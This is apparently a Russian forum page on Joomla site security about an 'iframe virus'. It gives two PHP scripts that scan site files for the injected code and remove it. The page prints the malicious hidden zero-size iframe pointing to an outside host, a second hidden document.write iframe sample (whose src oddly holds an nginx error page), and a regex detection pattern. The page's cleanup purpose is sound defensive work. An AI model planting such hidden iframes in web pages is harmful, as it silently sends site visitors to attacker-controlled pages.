Вирус <iframe width="0" height="0" frameborder="0" scrolling="no" src=" - Безопасность сайтов на Joomla

<iframe width="0" height="0" frameborder="0" scrolling="no" src="http://click-clickc.com/index12"></iframe>

<?php
//Virus removal script by OSA
//v1.0 7.10.2010

$virus_text = '<iframe width="0" height="0" frameborder="0" scrolling="no" src="http://click-clickc.com/index12"></iframe>';
$dir = '/'; <-- тут указываете директорию (пример: /var/www/data/www/)
$num_infected = 0;
$del = false; <-- меняем здесь на true если хотим сделать очистку от вируса. 

function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') {
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh))!== false) {
            if ($file === '.' || $file === '..') {
                continue;
            }
            if (is_file($dir . $file)) {
                if (is_array($types)) {
                    if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) {
                        continue;
                    }
                }
                $callback($baseDir . $file);
            }elseif($recursive && is_dir($dir . $file)) {
                dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR);
            }
        }
        closedir($dh);
    }
}

function del_virus ($filename)
{
    $flag = false; 
    echo $filename;
      
        $file=file($filename);
        foreach($file as $k=>$v)
        if (!stristr($v,$GLOBALS['virus_text']))
        $nfile[]=$v;
        else 
        {
         if (!$flag) {               
            $flag=true;        
            echo " - infected";
            $GLOBALS['num_infected']++;
         }
        }
        if ( $GLOBALS['del'] ) {
            $file=fopen($filename,"w");
            fwrite($file,implode($nfile,""));
            fclose($file);
        }
    echo "<br/>";  
};

dir_walk('del_virus', $dir, array('php','php5','html','htm','shtml'), true, $dir ); 

echo "Num infected = $num_infected <br/>";
?>

<?php
//Virus removal script by OSA
//v1.1 31.10.2010

$virus_text = '<iframe width="0" height="0" frameborder="0" scrolling="no" src="http://click-clickc.com/index12"></iframe>';
$skip_files = array ('delvirus.php');
$del = false;
$dir = getcwd().'/';
$num_infected = 0;

function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') {
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh))!== false) {
            if ($file === '.' || $file === '..') {
                continue;
            }
            if (is_file($dir . $file)) {
                if (is_array($types)) {
                    if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) {
                        continue;
                    }
                }
                $callback($baseDir, $file);
            }elseif($recursive && is_dir($dir . $file)) {
                dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR);
            }
        }
        closedir($dh);
    }
}

function del_virus ($fdir, $ffile)
{
    $flag = false; 
    $filename = $fdir.$ffile;
    echo $filename;
      
        $file=file($filename);
        foreach($file as $k=>$v)
        if (!stristr($v,$GLOBALS['virus_text']))
        $nfile[]=$v;
        else 
        {
         if (!$flag) {               
            $flag=true; 
            if (in_array($ffile, $GLOBALS['skip_files']))
            echo " - skipped";
            else 
            {
                echo " - infected";
                $GLOBALS['num_infected']++;
            }
         }
        }
        if ( $GLOBALS['del'] ) {
            $file=fopen($filename,"w");
            fwrite($file,implode($nfile,""));
            fclose($file);
        }
    echo "<br/>";  
};

dir_walk('del_virus', $dir, array('php','php5','html','htm','shtml'), true, $dir ); 

echo "Num infected = $num_infected <br/>";
?>

document.write('<iframe style="position:fixed;top:0px;left:-500px;" src="<html>
<head><title>502 Bad Gateway</title></head>
<body bgcolor="white">
<center><h1>502 Bad Gateway</h1></center>
<hr><center>nginx</center>
</body>
</html>
" height="350" width="250"></iframe>');

document\.write\('\<iframe src\=".*" name\="Sandal".*\<\/iframe\>'\);

echo " - infected";

echo " - <span style='color: #A3484F; font-weight: bold;'>infected</span>";